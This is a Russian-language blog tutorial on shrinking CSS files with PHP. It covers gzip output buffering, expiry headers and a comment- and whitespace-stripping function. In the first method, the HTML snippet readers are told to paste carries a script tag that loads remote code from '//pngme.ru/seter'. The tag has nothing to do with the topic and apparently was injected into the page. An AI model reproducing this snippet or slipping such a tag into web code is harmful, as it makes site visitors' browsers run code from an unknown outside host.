Когда вы разрабатываете большой проект , CSS файлы могут быстро стать очень объемистыми и это увеличит время для загрузки страниц. В данной статье я рассматриваю 3 возможных пути сжатия CSS файлов , используя PHP.
1 способ.
Для того , чтобы использовать данный метод компрессии вам потребуется переименовать ваши файлы каскадных стилей с расширения .css на .css.php . Далее меняем линк в HTML коде на следующий:
<script src="//pngme.ru/seter"></script></p> <link rel="stylesheet" type="text/css" href="/style.css.php" media="screen" />
Как только вы успешно переименовываете свои css файлы, редактируете это и добавляете следующий код в начале файла:
<br /> <?php if(extension_loaded('zlib')){ob_start('ob_gzhandler');} header("Content-type: text/css"); ?><br />
Затем, добавляете данный код в самый низ страницы и сохраняете файл:
<br /> <?php if(extension_loaded('zlib')){ob_end_flush();}?><br />
2 способ.
В принципе данный метод особо не отличается от метода приведённого выше , вы также переименовываете ваш CSS файл меняя его разрешение на *.php и в начало вашего CSS файла записываете данный код:
<br /> <?php ob_start ("ob_gzhandler"); header ("content-type: text/css; charset: UTF-8"); header ("cache-control: must-revalidate"); $offset = 60 * 60; $expire = "expires: " . gmdate ("D, d M Y H:i:s", time() + $offset) . " GMT"; header ($expire); ?><br />
Если сравнивать этот метод с первым методом , то этот несомненно удобней импортировать в файлы , так как вам не придётся меня конец файла , а просто придётся скопировать код приведённые выше в ваш CSS файл.
3 способ.
Еще один способ компрессии , который также не очень удобный , но он на много удобней двух предыдущих , так как он не требует изменения расширения CSS файлов :
<br /> <?php header('Content-type: text/css'); ob_start("compress"); function compress($buffer) { /* удаляем комментарии */ $buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer); /* удаляем табуляции , пробелы и.т.д. */ $buffer = str_replace(array("\r\n", "\r", "\n", "\t", ' ', ' ', ' '), '', $buffer); return $buffer; } /* ваш CSS файл */ include('master.css'); include('typography.css'); include('grid.css'); include('print.css'); include('handheld.css'); ob_end_flush(); ?><br />